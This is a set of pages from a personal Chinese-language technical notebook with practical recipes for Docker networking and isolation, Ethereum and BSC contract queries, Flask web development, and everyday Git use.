    按上述操作之后,假设容器名称为name,那么我们可以先建立一个alias来快速iptables:

    参考: https://unix.stackexchange.com/questions/11851/iptables-allow-certain-ips-and-block-all-other-connection

    alias i="sudo ip netns exec name iptables"
    i -P FORWARD DROP # we aren't a router
    i -A INPUT -m state --state INVALID -j DROP
    i -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
    i -A INPUT -i lo -j ACCEPT
    i -A INPUT -s 10.0.0.1/24 -j ACCEPT
    i -A INPUT -s 172.19.0.1/24 -j ACCEPT
    i -P INPUT DROP # Drop everything we don't accept
    

    效果就是只有内网10.0.0.1-10.0.0.254的ip才能访问这个容器的IP,其他来源都不能ping通这个容器

    下面的bash脚本会自动对容器的所有IP段允许访问,并拒绝其他访问:

    其中的docker inspect命令可以获取容器拥有的所有IP

    #!/bin/bash
    set -ex
    DOCKERNAME="xxx"
    NAME="xx"
    
    shopt -s expand_aliases
    sudo mkdir -p /var/run/netns
    ID=`docker inspect --format='{{ .State.Pid }}' ${DOCKERNAME}`
    sudo ln -sf "/proc/$ID/ns/net" /var/run/netns/${NAME}
    alias i="sudo ip netns exec ${NAME} iptables"
    i -F
    i -P FORWARD DROP # we aren't a router
    i -A INPUT -m state --state INVALID -j DROP
    i -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
    i -A INPUT -i lo -j ACCEPT
    
    docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{"\n"}}{{end}}' ${DOCKERNAME}|xargs -i sudo ip netns exec ${NAME} iptables -A INPUT -s '{}/24' -j ACCEPT
    i -P INPUT DROP # Drop everything we don't accept
    

    从/var/lib/docker提取容器开始时间

    读取/var/lib/docker/containers/*/config.v2.json可以读到容器开始时间

    但使用同一个文件夹下hostname这个文件的时间戳更可靠,无需考虑时区换算不同服务器时间不同步等问题。计算文件产生的相对时间用os.path.getmtime(这个文件)减去这个时间戳即可。

    导入到mysql 完整代码: 执行的时候需要server name作为参数

    from bugid import runsql
    import os,sys,glob,json
    import datetime
    import re
    server = sys.argv[1]
    os.chdir("/var/lib/docker/containers")
    sql = "replace into dockers(server, name, id, starttime, runningtime, memlimit) values "
    sqlpending = []
    t = 0
    for i in glob.glob("*/"):
        if not os.path.exists(i+"hostname"):
            #print(i)
            continue
        data = json.loads(open(i+"config.v2.json").read())
        name = data["Name"]
        starttime = data["State"]["StartedAt"]
        endtime = data["State"]["FinishedAt"]
        if endtime != "0001-01-01T00:00:00Z":
            runningtime = (datetime.datetime.strptime(endtime.split(".")[0], "%Y-%m-%dT%H:%M:%S") - datetime.datetime.strptime(starttime.split(".")[0], "%Y-%m-%dT%H:%M:%S")).total_seconds()
        else:
            runningtime = -1
        memlimit = int(json.load(open(i+"hostconfig.json"))["Memory"]/1024/1024)
        sqlpending.extend([server, name[1:], i[:-1], int(os.path.getmtime(i+"hostname")), runningtime, memlimit])
        sql += "(%s, %s, %s, %s, %s, %s),"
    
    #print(sqlpending)
    runsql(sql[:-1], *sqlpending)
    

    固定容器的IP

    参考: https://github.com/johnnian/Blog/issues/16

    默认的bridge网络不支持指定ip,需要再创建一个网络:

    docker network create --subnet=172.18.0.0/16 b
    

    创建容器的时候可以--network b --ip 172.18.0.2

    已经存在的容器需要用:

    docker network connect --ip 172.18.0.2 --alias ${name} b ${name}
    

    不想改动docker的network还有个临时的办法:

    获取容器IP 更新主机/etc/hosts

    需要先将当前的hosts文件复制为/etc/hosts.base

    其中bridge可能需要改成docker inspect输出的其他network名称

    #!/bin/bash
    if [[ $EUID -ne 0 ]]; then
       echo "This script must be run as root"
       exit 1
    fi
    cp /etc/hosts.base /etc/hosts
    echo `docker inspect ${name} --format '{{.NetworkSettings.Networks.bridge.IPAddress}}'`  ${name} >> /etc/hosts
    

    另外 你还可以启动个dns服务的容器来解析容器hostname:

    https://stackoverflow.com/questions/37242217/access-docker-container-from-host-using-containers-name/45071126#45071126


    Docker容器禁止主动联网 但对外提供web服务

    @TAG 端口映射 ctf

    首先排除--network none,这样没有网卡怎么做端口映射

    下面假设容器名称为${CONTAINER},容器启动的http服务端口为5000

    简单方案 直接删除默认路由

    nsenter --target `docker inspect --format '{{.State.Pid}}' ${CONTAINER}`  --net --pid route delete default
    

    好处在于访问网络的请求能迅速报错Network is unreachable,也不需要额外的容器参数配置

    但容器每次重启都需要重新执行

    复杂方案 创建个内部网络 Nginx转发

    docker的创建网络提供了--internal参数,意思是不允许这个网络访问外界,但是访问网络的请求不会立刻返回,效果像是一直丢包就没响应

    这里我们创建一个名为${CONTAINER}_nonet的网络,启动容器的时候指定这个网络并配置别名app

    然后还需要Nginx容器同时加入默认网络和这个网络来进行转发,Nginx容器一开始创建后的启动会报错反复重启(无法解析app),加入网络后即可正常启动

    docker network create ${CONTAINER}_nonet --internal
    docker run --network ${CONTAINER}_nonet --network-alias app ...
    docker run --name ${CONTAINER}_nginx -d -v `pwd`/nginxconf:/etc/nginx/conf.d -p 20528:80 --restart=always nginx
    docker network connect ${CONTAINER}_nonet ${CONTAINER}_nginx --alias nginx
    

    其中nginxconf文件夹里放一个default.conf:

    server {
        listen       80;
        server_name  localhost;
        location / {
            proxy_pass http://app:5000;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        }
    }
    

    既然用了反向代理,应用层也需要配置一下IP相关的修复才能使日志显示访问者ip(而不是Nginx容器的IP),比如Flask 1.0需要:

    from werkzeug.middleware.proxy_fix import ProxyFix
    app.wsgi_app = ProxyFix(app.wsgi_app)
    

    这个方案有点复杂,但好处在于重启容器不需要额外配置,反正连不上网

    坏处在于访问网络的请求会一直卡住,应用层需要自己考虑超时

    你可以把这两种方案结合起来,即使忘了删默认路由也能保证不能联网

    私有registry的api

    文档: https://docs.docker.com/registry/spec/api/

    列出所有镜像: /v2/_catalog

    列出指定镜像的所有标签: /v2/<name>/tags/list


    配置docker pull使用代理

    官方文档: https://docs.docker.com/config/daemon/systemd/#httphttps-proxy

    mkdir -p /etc/systemd/system/docker.service.d
    vi /etc/systemd/system/docker.service.d/http-proxy.conf
    systemctl daemon-reload
    systemctl restart docker
    systemctl show --property=Environment docker
    
    [Service]
    Environment="HTTP_PROXY=http://proxy.example.com:80"
    Environment="HTTPS_PROXY=https://proxy.example.com:443"
    Environment="NO_PROXY=localhost,127.0.0.1,docker-registry.example.com,.corp"
    

    配置docker daemon退出时不自动关闭容器

    参考: https://docs.docker.com/config/containers/live-restore/

    # vi /etc/docker/daemon.json
    {
      "live-restore": true
    }
    # systemctl reload docker
    
    ================================================ FILE: docs/ETH/index.html ================================================ ETH - notebook

    ETH

    ETH

    学习一下以太坊,目前可以在区块链上刻字了,每个交易可以存储30K的内容

    获取测试网络ropsten的ETH

    目前的faucet列表,不过有可能他们工作在fork上,获得的eth不能在etherscan上看到

    近期以太坊Ropsten测试网的Istanbul升级由于大部分算力没有升级节点软件,实际上已经发生了分叉

    • https://faucet.ropsten.be
    • https://faucet.metamask.io
    • http://faucet.bitfwd.xyz

    生成一堆与MetaMask兼容的地址

    MetaMask等钱包的工作原理是从一串seed phrase生成一系列私钥

    使用lightwallet这个npm包来生成MetaMask兼容的1000个地址

    # 需要使用版本2,更新的版本修改了API需要提供salt
    $ npm install eth-lightwallet@2.5.6
    
    # 修改node_modules\_bitcore-lib@8.14.4@bitcore-lib\index.js添加一个return
    # bitcore.versionGuard = function(version) {return;
    
    var lightwallet = require("eth-lightwallet");
    var secretSeed = 从metamask复制
    var password = 随意设置一个密码在内存中存储的是使用这个密码加密后的私钥
    var hdPathString = "m/44'/60'/0'/0";
    var ks; 
    lightwallet.keystore.deriveKeyFromPassword(password, function (err, pwDerivedKey) {
        ks = new lightwallet.keystore(secretSeed, pwDerivedKey, hdPathString);
        //console.log(ks);
        ks.generateNewAddress(pwDerivedKey, 1000, hdPathString);
        for(var i of ks.getAddresses(hdPathString)){
            console.log(i, ks.exportPrivateKey(i, pwDerivedKey, hdPathString));
        }
    })
    

    Python发起交易(Web3.py)

    pip3 install web3,需要python3.7 (在Ubuntu16.04上安装Python 3.7

    在infura.io注册,得到一个project id,设置为环境变量WEB3_INFURA_PROJECT_ID

    import os
    os.environ["WEB3_INFURA_PROJECT_ID"]="从infura.io复制"
    from web3.auto.infura.ropsten import w3
    from base64 import b16encode
    def senddata(privatekey, data, to=None, nonce=None):
        addr = w3.eth.account.privateKeyToAccount(privatekey).address
        if not to:
            to = addr
        if not to.startswith("0x"):
            to = "0x"+to
        if len(data)>30*1024:
            raise Exception("data too big")
        if nonce is None:
            nonce=w3.eth.getTransactionCount(addr)
        tx=dict(nonce=nonce, gasPrice=2000000000, gas=5940000, to=to, value=0, data=data)
        stx=w3.eth.account.sign_transaction(tx, privatekey)
        return b16encode(w3.eth.sendRawTransaction(stx.rawTransaction)).decode().lower()
    

    地址交易查询API

    注意etherscan.io使用了cloudflare,必须设置一个User-Agent才能调用

    目前还不需要apikey就能直接调用

    import requests
    def gettx(addr):
        return requests.get("https://api-ropsten.etherscan.io/api?module=account&action=txlist&address="+addr+"&startblock=0&endblock=99999999&sort=asc&apikey=YourApiKeyToken", headers={"User-Agent":"ethquery"}).json()["result"]
    

    返回的数组可能每个交易都重复了两次,需要去重:

    seenhash = []
    for tx in gettx(addr):
        if len(tx["input"])>2 and tx["hash"] not in seenhash:
            # 处理tx["input"]
            seenhash.append(tx["hash"])
    

    时间戳转block id

    有些时候我们需要知道特定时间点的区块高度,来查询当时的合约数据

    不依赖etherscan的方法可以按照当前区块高度、已经流逝的时间和出块速度进行计算,算出来的blockid再调用web3 API查询timestamp再次计算,直到误差小于阈值即可

    etherscan提供了这个API: https://etherscan.io/apis#blocks

    cache={}
    apikey=""
    def timestamp2blockid(ts, retry=3):
        cachekey = "timestamp2blockid_"+str(ts)
        if cachekey in cache:
            #print("cache used")
            return cache[cachekey]
        x = sess.get("https://api.etherscan.io/api?module=block&action=getblocknobytime&timestamp="+str(ts)+"&closest=before&apikey="+apikey)
        #print(x.json())
        if 'result' not in x.json():
            if retry:
                print("[retry] timestamp2blockid", ts)
                return timestamp2blockid(ts, retry=retry-1)
            else:
                print(x.json())
        res = x.json()["result"]
        cache[cachekey] = res
        return res
    

    根据函数名调用合约

    标记了view的函数可以直接在etherscan读取合约调用,但有些函数不会涉及写操作,我们也可以自己调用而不用发起链上交易(即使交易也拿不到返回值)

    首先我们需要了解eth_call的data 前4个字节就是函数签名的哈希,哈希算法是keccak_sha3取前4个字节

    这东西叫做ABI, 文档: https://solidity.readthedocs.io/en/v0.5.3/abi-spec.html

    例如balanceOf函数只接受一个地址作为参数,它的签名就是balanceOf(address),哈希是70a08231,你可以观察metamask后台发送的流量就可以确认这一点

    使用Python不依赖web3计算这个哈希: 你可能需要python3 -m pip install pycryptodome

    from Crypto.Hash import keccak
    def function_hash(func_str):
        return keccak.new(digest_bits=256).update(func_str.encode("utf-8")).hexdigest()[:8]
    

    有了函数哈希后 再拼接函数调用参数就能发起eth_call了,比如我们需要把地址在左边补0补齐到64字节(也就是256bit)

    import requests
    sess = requests.session()
    sess.headers.update({"Content-Type":"application/json"})
    WEB3_ENDPOINT = "" #change to your infura.io project url
    
    def addrtoarg(addr):
        return addr.lower().rjust(64, "0")
    
    cache={}
    def callfunction(addr, func_str, args_str, blockid, returnint=True, usecache=False):
        cachekey = "_".join(("callfunction", addr, func_str, args_str, str(blockid)))
        try:
            height = hex(int(blockid))
        except:
            height = blockid
        if usecache and cachekey in cache and blockid!="latest":
            res = cache[cachekey]
        else:
            data = {
                "id":1, "jsonrpc":"2.0",
                "method":"eth_call",
                "params":[{"data": "0x"+function_hash(func_str)+args_str, "to": addr,}, height]
            }
            x = sess.post(WEB3_ENDPOINT, json=data)
            print(x.json())
            res = x.json()["result"]
            if usecache:
                cache[cachekey] = res
        if not returnint:
            return res
        else:
            return int(res, 16)
    

    其中WEB3_ENDPOINT可以是infura自己注册一个APIKEY后得到的地址

    要获取最新的数据还需要知道当前的区块高度:

    def eth_blockNumber():
        return int(sess.post(WEB3_ENDPOINT, data='{"id":1,"jsonrpc":"2.0","method":"eth_blockNumber","params":[]}').json()["result"], 16)
    

    调用很简单:mybalance = callfunction(contract_address, "balanceOfUnderlying(address)", addrtoarg(my_address), eth_blockNumber())

    更复杂的参数类型

    对于string这种可变长度类型,还是使用python包eth-abi吧,例如:

    NFT-Hero里随机数用的blockhashMgr到底是什么合约呢:

    https://github.com/nfthero/SuperHero/blob/c87346f36efb09667ad8f0eeaf8df04a710bbecd/Package.sol#L87

    就想要查询一下members这个字典,其类型是mapping(string => address) public members,也就意味着可以调用members(string)这个函数进行查询:

    >>> callfunction("https://http-mainnet-node.huobichain.com/", "0x42C1aC2AeAEc52E1cc9dC8057b089FA91fa84FC7", "members(string)", base64.b16encode(eth_abi.encode_abi(["string"], ["blockhashMgr"])).decode().lower(), "latest", False)
    '0x0000000000000000000000003e259bfe720093abb26a2c3fe57670259b2ebea2'
    

    实例:获取Cake持仓价值

    Warning

    本文不作为投资建议,本项目合约代码2020/11/05也出过漏洞导致挖矿奖励代币超发

    币安智能链上有个抄了Uniswap的pancakeswap, 网页上当前(2021/01/06)显示质押CAKE的年化228%,那当然是尝试一下咯,于是自然有了需求:计算自己持仓CAKE的实时价值,持仓包含质押奖励的部分

    那么实现这个需求就需要解决两个问题:如何获取自己的CAKE奖励数量,如何获取CAKE的价格信息

    第一个问题好解决,按照上面调用合约即可,合约调用需要两个参数,即使不知道函数选择器和函数参数怎么写,也可以让etherscan来帮我们调用合约 看流量即可

    WEB3_ENDPOINT='https://bsc-dataseed.binance.org/'
    callfunction(contract_address, "pendingCake(uint256,address)", "0"*64+addrtoarg(my_address), "latest", usecache=False)/10**18
    

    第二个问题:获取CAKE的价值 可以在pancakeswap.info的token页面看到 当前CAKE的价值显示为$0.64

    通过仔细翻流量+F12看前端js+学GraphQL的写法,发现这个图查询可以一次返回两个内容:

    https://api.bscgraph.org/subgraphs/name/wowswap/graphql

    {
      tokens(where: {id: "0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82"}) {
        id
        name
        symbol
        derivedETH
        tradeVolume
        tradeVolumeUSD
        untrackedVolumeUSD
        totalLiquidity
        txCount
        __typename
      }
      bundles(where: {id: 1}) {
        id
        ethPrice
        __typename
      }
    }
    

    查询到:

    {
      "data": {
        "bundles": [
          {
            "__typename": "Bundle",
            "ethPrice": "40.4164616943543110107673755202366",
            "id": "1"
          }
        ],
        "tokens": [
          {
            "__typename": "Token",
            "derivedETH": "0.01577253120396104706816941010842497",
            "id": "0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82",
            "name": "PancakeSwap Token",
            "symbol": "Cake",
            "totalLiquidity": "17457173.064252540875767782",
            "tradeVolume": "529331425.317628506590140745",
            "tradeVolumeUSD": "270335080.4687124727090581348114777",
            "txCount": "659265",
            "untrackedVolumeUSD": "331587403.3835248774831009549837749"
          }
        ]
      }
    }
    

    将其中的ethPrice(实际上是BNB的价格)和derivedETH乘起来就是我们需要的价格了,算出来是$0.6375

    通用一点还需要调用合约userInfo(uint256,address)查询自己的持仓,最后合在一起:

    (自己的持仓+pendingpendingCake)*derivedETH*ethPrice
    

    erigon 导出所有合约地址

    这样来导出codehash表:

    /tank/erigon/build/bin/mdbx_dump -s PlainCodeHash /tank/eth/chaindata/ | gzip > plaincodehash.txt.gz
    

    然后这样处理得到根据codehash去重后的地址列表:

    import gzip
    oldaddr=None
    codehash=None
    seen=set()
    for line in gzip.open("plaincodehash.txt.gz", "rt"):
        if len(line)==58:
            addr = line[1:41]
            if addr!=oldaddr:
                if oldaddr and codehash not in seen:
                    seen.add(codehash)
                    print(oldaddr)
                oldaddr=addr
        elif len(line)==66:
            codehash = line[1:65]
    if codehash not in seen:
        print(oldaddr)
    
    ================================================ FILE: docs/Favorites/index.html ================================================ Favorites - notebook
    ================================================ FILE: docs/Flask/index.html ================================================ Flask - notebook

    Flask 备忘

    常用的一些操作,自己总结的,便于查阅

    应用根目录APP_ROOT

    APP_ROOT = os.path.dirname(os.path.abspath(__file__))
    

    app.route里的int和POST

    @app.route("/list/<int:boardid>")
    
    @app.route("/receive_post", methods=["POST"])
    
    post_param = int(request.form.get("post_param","0"))
    # get参数用request.args
    

    render_template引入所有全局变量+局部变量

    str = str
    len = len
    int = int
    
    @app.route("/")
    def index():
        # ... some logic code
        targs = globals()
        targs.update(locals())
        return render_template("template.html", **targs)
    

    添加多个静态目录

    from flask import Flask, render_template, Blueprint, request, redirect
    app = Flask(__name__)
    
    for path in ['images', 'pic', 'css']:
        blueprint = Blueprint(path, __name__, static_url_path='/'+path, static_folder=path)
        app.register_blueprint(blueprint)
    

    判断是否手机访问 g.isphone

    @app.before_request
    def before_request():
        ua = request.user_agent.string.lower()
        for mobileua in "android|fennec|iemobile|iphone|opera mini|opera mobi|mobile".split("|"):
            if mobileua in ua:
                g.isphone = True
                break
        else:
            g.isphone = False
    

    限制特定get整数参数的取值

    def limit_param(param_name, default_value, minvalue, maxvalue):
        """
        example: p = limit_param("p", 1, 1, 5)
        """
        if maxvalue<minvalue:
            maxvalue = minvalue
        try:
            data = int(request.args.get(param_name, default_value))
        except:
            data = default_value
        if data<minvalue:
            data = minvalue
        elif data > maxvalue:
            data = maxvalue
        return data
    

    要求登录的decorator

    用法: @require_login() 注意使用时添加到@app.route行的后面

    import functools
    from flask import session, abort, redirect
    def require_login(code=200, text="login first", jumptologin=False):
        def real_decorator(func):
            @functools.wraps(func)
            def wrapper(*args,**kwargs):
                if "username" not in session:
                    if jumptologin:
                        return redirect("/signin?error=needlogin&next="+signit(request.path))
                    elif code==200:
                        return text
                    else:
                        abort(code)
                else:
                    return func(*args, **kwargs)
            return wrapper
        return real_decorator
    

    import引入列表

    from flask import Flask, render_template, Blueprint, request, redirect, Markup, g, session, abort, Response, make_response, send_file, jsonify
    from werkzeug.utils import secure_filename
    import time
    import datetime
    import random
    import pickle
    import requests
    import os
    import sys
    import traceback
    import mimetypes
    import string
    import re
    import hashlib
    import json
    

    request怎么拿到url的各个部分

    来自https://stackoverflow.com/questions/15974730/how-do-i-get-the-different-parts-of-a-flask-requests-url

    request:

    curl -XGET http://127.0.0.1:5000/alert/dingding/test?x=y

    then:

    request.method:              GET
    request.url:                 http://127.0.0.1:5000/alert/dingding/test?x=y
    request.base_url:            http://127.0.0.1:5000/alert/dingding/test
    request.url_charset:         utf-8
    request.url_root:            http://127.0.0.1:5000/
    str(request.url_rule):       /alert/dingding/test
    request.host_url:            http://127.0.0.1:5000/
    request.host:                127.0.0.1:5000
    request.script_root:
    request.path:                /alert/dingding/test
    request.full_path:           /alert/dingding/test?x=y
    
    request.args:                ImmutableMultiDict([('x', 'y')])
    request.args.get('x'):       y
    

    request其他的部分

    request.get_data()    POST内容 bytes类型
    request.endpoint      处理这个请求的函数名称
    

    遇到性能瓶颈做profiling看函数耗时

    找到对uwsgi应用做profiling的dozer

    使用方法:

    1. 先安装python3对应的uwsgi:apt install uwsgi-plugin-python3
    2. 写一个python脚本包装app,如profiler_app.py
    #!/usr/bin/python3
    from app import app
    from dozer import Profiler
    appx = Profiler(app, profile_path="/tmp/profiles")
    
    if __name__ == "__main__":
        import os
        os.system("uwsgi -w profiler_app:appx --http :80")
    
    1. 别忘记mkdir /tmp/profiles 然后就可以启动了python3 profiler_app.py
    2. 使用http://127.0.0.1/_profiler/ 查看结果,可以点开每个请求看各个函数耗时详情

    lazyload 延迟加载耗时的初始化操作

    需求:特定页面需要加载一些耗时的资源,如果在应用启动的时候做加载,此时新来的请求就必须等待这个加载才能完成;而实际上这个init并非所有请求都必须的,想做一个lazyinit: 在不影响正常请求的前提下尽快完成init函数

    我的做法:设计一个/lazyinit路由函数做初始化工作,在重新部署/重启flask服务的时候同时启动一个简单的python脚本反复请求这个url直到所有的进程都已经触发

    这样利用uwsgi自身就有的多进程负载均衡,每次最多只会有一个进程做初始化工作,其他进程可以正常处理请求;坏处就是在日志里面产生一些垃圾吧,影响不大

    问题来了 uwsgi怎么知道当前是哪个进程呢 我发现threading提供的进程名称是字符串b'uWSGIWorker2Core2',其中Worker后面的数字就是进程ID 不同进程ID的全局变量是不同的

    代码:

    flask中的/lazyinit实现,返回处理当前请求的worker id:

    import threading
    def get_workerid():
        # return uwsgi worker id: int
        threadname = threading.current_thread().name
        id_str = threadname.lower().split("worker")[1].split("core")[0]
        return int(id_str)
    
    HAS_INITED = False
    
    @app.route("/lazyinit")
    def lazyinit():
        workerid = get_workerid()
    
        if not HAS_INITED: # skip init if has already initialized
            sleep(1) # do real init code...
            HAS_INITED = True
    
        return str(workerid)
    

    这是反复请求的代码,重复请求最多100次,直到所有4个进程都已经触发,其中uwsgi的workerid是从1开始计数的

    MAX_TRIES = 100
    PROCESS_COUNT = 4
    
    import requests
    i = 0
    status = [False]*PROCESS_COUNT
    for i in range(MAX_TRIES):
        id = requests.get("http://127.0.0.1/lazyinit?id="+str(i)).text
        id = int(id) - 1
        status[id] = True
        if all(status):
            break
    

    让app.run启动的服务器使用HTTP/1.1

    就是这个问题: https://www.reddit.com/r/flask/comments/634i5u/make_flask_return_header_response_with_http11/

    人家认为Flask不支持,其实flask使用的是werkzeug.serving,最底层还是BaseHTTPRequestHandler,而这个是支持HTTP/1.1的,只是默认HTTP/1.0而已

    实际发送请求HTTP/1.1 200 OK是这个类的send_response函数,用到protocol_version这个属性,而这个属性是类的属性(不是在__init__函数赋值的),所以我们可以直接修改 之后创建的对象就会自动拥有新的值

    在调用之前添加以下几行即可

    try:
        from http.server import BaseHTTPRequestHandler
    except: #PY2
        from BaseHTTPServer import BaseHTTPRequestHandler
    BaseHTTPRequestHandler.protocol_version = "HTTP/1.1"
    

    让render_template直接能使用当前所有变量

    一种直接的做法:注意顺序 局部变量优先于全局变量

    targs = globals()
    targs.update(locals())
    render_template("x.html", **targs)
    

    然而这样需要每个视图函数都写这三行,不够优雅

    不如试试:获取调用者的局部变量 https://stackoverflow.com/questions/6618795/get-locals-from-calling-namespace-in-python

    import inspect
    def myrender_template(filename):
        backframe = inspect.currentframe().f_back
        targs = {}
        targs.update(backframe.f_globals)
        targs.update(backframe.f_locals)
        return render_template(filename, **targs)
    

    在Flask中正确地产生流式响应EventSource

    考虑我们需要向前端提供消息队列的消费者,比如收到广播后发给浏览器通知用户。当然我们可以用websocket,但这种场景(只有服务器给浏览器发)下只需要长连接的EventSource就行了。

    基础篇: https://stackoverflow.com/questions/12232304/how-to-implement-server-push-in-flask-framework

    def queue_consumer():
        conn = 创建连接() #连接到消息队列创建 channel
        for data in conn.读取数据():
            yield b"data: "+data+b"\n\n"
        关闭连接() # 怎么执行到
    
    @app.route("/stream")
    def stream():
        return Response(queue_consumer(), mimetype="text/event-stream")
    

    这个的问题在于关闭连接不会执行到,在消息队列服务器上观察到channel一直没有释放,这肯定不行,我们需要在浏览器断开连接的时候自动释放conn等资源。

    读了 werkzeug 的源代码发现 Response 有 call_on_close 函数,在连接关闭的时候我们把生成器close即可触发yield的异常:

    def queue_consumer():
        conn = 创建连接() #连接到消息队列创建 channel
        try:
            for data in conn.读取数据():
                yield b"data: "+data+b"\n\n" #结束的时候会触发GeneratorExit异常
        except:
            pass
        关闭连接()
    
    @app.route("/stream")
    def stream():
        consumer = queue_consumer()
        res = Response(consumer, mimetype="text/event-stream")
        def onclose():
            consumer.close()
        res.call_on_close(onclose)
        return res
    

    这样还不够,发现无法使用g,以及Nginx默认缓存响应导致延迟,需要继续配置:

    def queue_consumer():
        conn = 创建连接() #连接到消息队列创建 channel
        try:
            for data in conn.读取数据():
                yield b"data: "+data+b"\n\n" #结束的时候会触发GeneratorExit异常
        except:
            pass
        关闭连接()
    
    @app.route("/stream")
    def stream():
        consumer = queue_consumer()
        res = Response(stream_with_context(consumer), mimetype="text/event-stream")
        def onclose():
            consumer.close()
        res.call_on_close(onclose)
        res.headers["X-Accel-Buffering"] = "no"
        res.headers["Cache-Control"] = "no-cache"
        return res
    

    这些Nginx配置你也可能需要加上:尤其是还有下一层反代的时候

    uwsgi_pass_header "X-Accel-Buffering";
    uwsgi_read_timeout 120s;
    uwsgi_send_timeout 120s;
    
    proxy_http_version 1.1;
    proxy_set_header Connection "";
    proxy_pass_header "X-Accel-Buffering";
    

    Flask跨域Cookie

    当我们的网站能被跨域访问的时候,要注意cookie的设置,加上SameSite=None; Secure

    参考:

    • https://stackoverflow.com/questions/56828663/how-to-explicitly-set-samesite-none-on-a-flask-response
    • https://github.com/pallets/werkzeug/issues/1549
    • https://stackoverflow.com/questions/62992831/python-session-samesite-none-not-being-set
    resp.set_cookie('cross-site-cookie', 'bar', samesite='None', secure=True)
    resp.headers.add('Set-Cookie','cross-site-cookie=bar; SameSite=None; Secure')
    

    Flask的session cookie也要跨域的话:

    from flask import session
    from flask.sessions import SecureCookieSessionInterface
    
    session_cookie = SecureCookieSessionInterface().get_signing_serializer(app)
    @app.after_request
    def cookies(response):
        same_cookie = session_cookie.dumps(dict(session))
        response.headers.add("Set-Cookie", f"session={same_cookie}; Secure; HttpOnly; SameSite=None; Path=/;")
        return response
    
    ================================================ FILE: docs/Git/index.html ================================================ Git - notebook

    Git

    参考 沉浸式学 Git http://igit.linuxtoy.org/

    参考 Learn Git Branching learngitbranching.js.org


    立即使用

    在网页上先创建了仓库,设置好.gitignore

    git clone  github提供的地址(用ssh的)
    # 现在创建了你的仓库文件夹,将需要上传的文件放进去
    cd 你的仓库名称
    git add .
    git commit -a -m "这次改了些啥?"
    git push
    

    更多的配置:

    # 默认git pull --rebase
    git config --global pull.rebase true
    

    加速git clone

    方法1:配置一个代理(如privoxy),并使用https地址

    方法2:使用--depth 1参数表示不要复制历史

    export https_proxy="http://127.0.0.1:8118"
    git clone --depth 1 https://github.com/zjuchenyuan/notebook
    

    git push加速

    代码参见code/ssgit.txt


    git push免密码

    参照http://blog.csdn.net/chfe007/article/details/43388041

    首先生成自己的ssh密钥,不要修改生成的文件位置

    ssh-keygen -t rsa -b 4096
    

    然后把~/.ssh/id_rsa.pub的内容设置到github中,网页端操作;建议顺带启用两步验证

    新手还告诉git自己是谁:

    git config --global user.email "你的邮箱"
    git config --global user.name "你的用户名"
    

    如果当前仓库是https的,改为git方式:

    git remote set-url origin git@github.com:用户名/仓库名称.git
    

    bash别名设置

    通过修改~/.bashrc来设置别名,让git的日常使用更简单:

    func_g(){
      git add .
      git commit -a -m "$1"
      git push
    }
    alias g=func_g
    alias gs='git status '
    alias ga='git add '
    alias gb='git branch '
    alias gc='git commit'
    alias gd='git diff'
    alias go='git checkout '
    alias gp='git push'
    alias gl="git log --all --pretty=format:'%h %ad | %s%d [%an]' --graph --date=short"
    

    gl的效果

    完成一次提交,现在只需要g "提交信息"

    要立即生效,可以执行source ~/.bashrc

    设置bash中的自动完成与dirty提示

    此部分内容来自Udacity 如何使用 Git 和 GitHub 课程

    下载需要的文件

    curl -O https://raw.githubusercontent.com/git/git/master/contrib/completion/git-completion.bash
    curl -O https://raw.githubusercontent.com/git/git/master/contrib/completion/git-prompt.sh
    

    ~/.bashrc末尾添加:

    source ~/git-completion.bash
    green="\[\033[0;32m\]"
    blue="\[\033[0;34m\]"
    purple="\[\033[0;35m\]"
    reset="\[\033[0m\]"
    source ~/git-prompt.sh
    export GIT_PS1_SHOWDIRTYSTATE=1
    export PS1="$purple\u$green\$(__git_ps1) \w\a $ $reset"
    

    效果如图,如果出现了未提交的修改,会自动显示出*表示dirty:

    setgit.jpg

    好玩的命令们

    git status

    查看状态咯~

    git reset

    已经git add了,想取消这一步就用git reset

    git checkout

    啊。。。代码搞坏了我要回滚到上次commit,用git checkout -- 文件名

    git reset –soft

    撤销到某次commit,但不删除新增文件

    其中commit_id可以从git log获得

    恢复git reset –hard删除的文件

    git的历史是不能用命令修改的,丢失的commit用reflog可以找回,除非git已经把它当成垃圾删除(30天)

    git stash save
    git reflog # 查看丢失的那个commit的id
    git checkout 那个commitid
    git branch recover # 创建recover分支
    git checkout master # 回到master
    git merge recover # 合并recover到master
    git branch -d recover # 合并完成后就可以删了
    

    你可能会问的一些问题

    • 为啥要git add呢?

    因为有些时候两个文件可能是不相关的修改,应该分别提交两次

    通过分开暂存和提交,你能够更加容易地调优每一个提交。

    • 为啥不改.profile而是改.bashrc呢

    因为win10中只要有一个bash窗口没关掉,启动bash就不是登录,而是相当于再开了个docker exec -i -t bashonwin10 /bin/bash

    此时是不会执行登录脚本.profile的,但是.bashrc还是会执行的


    Git各种情景

    Learned from githug

    忽略*.a文件但不想忽略lib.a

    文档查看:git gitignore --help

    !表示负向选择,在.gitignore中添加:

    *.a
    !lib.a
    

    commit补上忘掉的文件

    如果发现上次commit漏了文件,不应该新加commit而是应该用amend,否则可能上CI就挂

    git add forgotten.txt
    git commit --amend
    

    查出此行代码的最后修改者

    github提供的blame功能更好看,显示每行代码的作者和来源于哪次commit

    git blame filename
    

    文件一次性改太多了,拆成多次commit

    让每次commit保持在比较小的改动,不要在一个commit中出现两个不那么相关的修改

    本知识学习自:10 个迅速提升你 Git 水平的提示

    方法是在add的时候给出参数-p

    然后git会在每一个修改的block询问是否加入这次的commit,回答y表示加入,n表示不加入,s表示进一步拆分这个block

    完成好选择后,使用git diff --staged命令来查询暂存的修改,没有问题就可以继续git commit

    本地忽略一些个人的修改

    原文: http://stackoverflow.com/questions/1753070/git-ignore-files-only-locally

    有时候我们不想让git追踪一些个人相关的文件,例如config中修改Debug=True,此时如果去修改.gitignore造成的影响是全局的,并且需要从git中删除这个文件;手动避开add config很烦,有没有更好的方法,让git忽略掉config文件的修改呢?

    方法是修改.git/info/exclude文件,这个文件的语法规则与.gitignore一样

    如果已经造成了修改,还需要执行以下命令:

    git update-index --assume-unchanged [<file>...]
    

    本地创建branch后push操作git push -u

